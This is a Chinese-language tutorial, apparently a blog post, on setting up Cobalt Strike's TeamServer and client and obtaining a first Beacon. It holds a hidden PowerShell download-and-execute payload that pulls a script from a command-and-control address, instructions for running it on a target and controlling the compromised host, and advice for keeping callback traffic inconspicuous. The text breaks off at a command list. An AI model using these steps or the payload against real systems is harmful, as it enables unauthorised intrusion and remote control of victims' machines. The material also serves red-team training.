[TOC]
1.Cobalt Strike 简介
Cobalt Strike 是一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
Cobalt Strike: C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。
CS的发展
Armitage [2010-2012]
Armitage是一个红队协作攻击管理工具,它以图形化方式实现了Metasploit框架的自动化攻击。Armitage采用Java构建,拥有跨平台特性。
Cobalt Strike 1.x [2012-2014]
Cobalt Strike 增强了Metasploit Framework在执行目标攻击和渗透攻击的能力。
Cobalt Strike 2.x [2014-?]
Cobalt Strike 2是应模拟黑客攻击的市场需求而出现的,Cobalt Strike 2是以malleable C2技术的需求为定位的,这个技术使Cobalt Strike的能力更强了一些。
Cobalt Strike 3.x [2015-?]
Cobalt Strike 3 的攻击和防御都不用在Metasploit Framework平台(界面)下进行。
如今 Cobalt Strike 4.0 也已经发布,改动相比 3.x 还是不小的,笔者在演示的时候使用的 Cobalt Strike 4.0,看的视频教程是 3.x 的教程。
接下来会用到的工具和环境
- Cobalt Strike
- Kali
- Metasploit Framework
- PowerSploit
- PowerTools
- Veil Evasion Framework
2.Cobalt Strike 安装
2.1 安装Java运行环境
因为启动Cobalt Strike需要JDK的支持,所以需要安装Java环境。Java环境的安装可以参考:https://www.runoob.com/java/java-environment-setup.html
因为安装kali时,默认会安装java环境。我们可以通过java -version进行验证。
2.2 部署TeamServer
在安装Cobalt Strike时,必须搭建团队服务器(TeamServer服务器)。打开cobaltstrike文件夹,赋予TeamServer 和 Cabalt Strike执行权限。
1 | chmod +x teamserver cobaltstrike |
Cobalt Strike 文件夹中有多个文件和文件夹。
其功能如下。
- agscript:拓展应用的脚本。
- c2lint:用于检查profile 的错误和异常。
- teamserver:团队服务器程序。
- cobaltstrike 和 cobaltstrike.jar:客户端程序。因为teamserver文件是通过Java来调用CobaltStrike 的,所以直接在命令行环境中输入第一个文件的内容也能启动Cobalt Strike 客户端 (主要是为了方便操作)。
- logs:日志,包括 Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等。
- datas:用于保存当前TeamServer的一些数据。
- update 和 update.jar:用于更新Cobalt Strike。
最后,运行团队服务器。需要设置当前主机的IP地址和TeamServer的密码。输入如下命令启动TeamServer。
1 | ./teamserver 10.251.0.35 sangfor |
Cobalt Strike的TeamServer准备就绪。接下来,我们就可以启动Cobalt Strike客户端来连接TeamServer了。
3.Cobalt Strike 启动
3.1 启动cobaltstrike.jar
在Linux下,可以直接通过./cobaltstrike启动客户端,如下图。
1 | ./cobaltstrike |
填写TeamServer的IP地址、端口号、用户名、密码。在这里,登录的用户名可以任意输名称,只要保证当前该用户名没有被用来登录Cobalt Strike服务器即可。
在确认信息填写无误后,点击Connect连接服务端,这时候会出现指纹校验对话框。指纹校验的主要作用是防篡改,且每次创建Cobalt Strike团队服务器时生成的指纹都不一样。
在客户端向服务器成功获取相关信息后,即可打开Cobalt Strike 主页面,Cobalt Strike 主页面主要分为菜单栏、快捷功能区、目标列表区、控制台命令输出区、控制台命令输入区。
- 菜单栏:集成了Cobalt Strike的所有功能。
- 快捷功能区:列出常用的功能。
- 目标列表:根据不同的显示模式,显示已获取权限的主机及目标主机。
- 控制台命令输出区:输出命令的执行结果。
- 控制台命令输人区:输入命令。
Windows中,可以直接允许.bat程序,然后输入teamserver服务器的IP地址和密码进行连接即可。
3.2 利用Cobalt Strike 获取第一个Beacon
建立Listener
可以通过菜单栏的第一个选项”Cobalt Strike”进人”Listeners” 面板,如下图。
也可以通过快捷功能区进入”Listeners” 面板,如下图。
单击“Add” 按钮,新建一个监听器,输入名称、监听器类型、团队服务器IP地址、监听的端口,然后单击“Save”按钮保存设置。
使用 Web Delivery 执行Payload
单击 “Attacks” 菜单,选择”Web Drive-by”→”Scripted Web Delivery”选项,如下图。
或者通过快捷功能区,打开“Scripted Web Delivery”窗口,如下图。
保持默认配置,选择已经创建的监听器,设置类型为PowerShell,然后单击“Launch”按钮,如下图。
最后,将Cobalt Strike生成的Payload完整地复制下来,如下图。
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.251.0.35:80/a'))" |
其中url它是个文件路径,就是让目标 (受害者)通过这个地址和端口下载 恶意脚本。访问这个url,可以看到是一段powershell代码,如下图。
在目标机器上执行Payload
执行Payload,Cobalt Strike 会收到一个Beacon,如下图。
执行以后,可以在Cobalt Strike的日志里面看到一条日志,如下图。
在Cobalt Strike 的主页面中可以看到一台机器上线(包含外网IP地址,内网IP地址、监听器、用户名、机器名、是否有特权、Beacon进程的PID、心跳时间等信息),如下图:
与目标主机进行交互操作
单击右键,在弹出的快捷菜单中选中需要操作的Beacon,然后单击”Interact”选项,进入主机交互模式,如下图。
现在就可以输入一些命令来执行相关操作了。输入”shell whoami”命令,查看当前用户,在心跳时间后就会执行该命令。在执行命令时,需要在命令前添加”shell”。Beacon的每次回连时间默认为60秒。如果sleep时间过长,在下载文件面前更为明显,所以在测试时会把时间降低一点 。拿到Beacon后,我一般先执行sleep 5,大家可以根据实战环境来调节,建议不要太快,不然流量会很明显。回连后,执行命令的任务将被下发,并成功回显命令的执行结果,如下图。
其他的Beacon命令,大家可以在Beacon中输入help来获取。在这贴出一部分汉化的命令:
1 | Beacon Commands |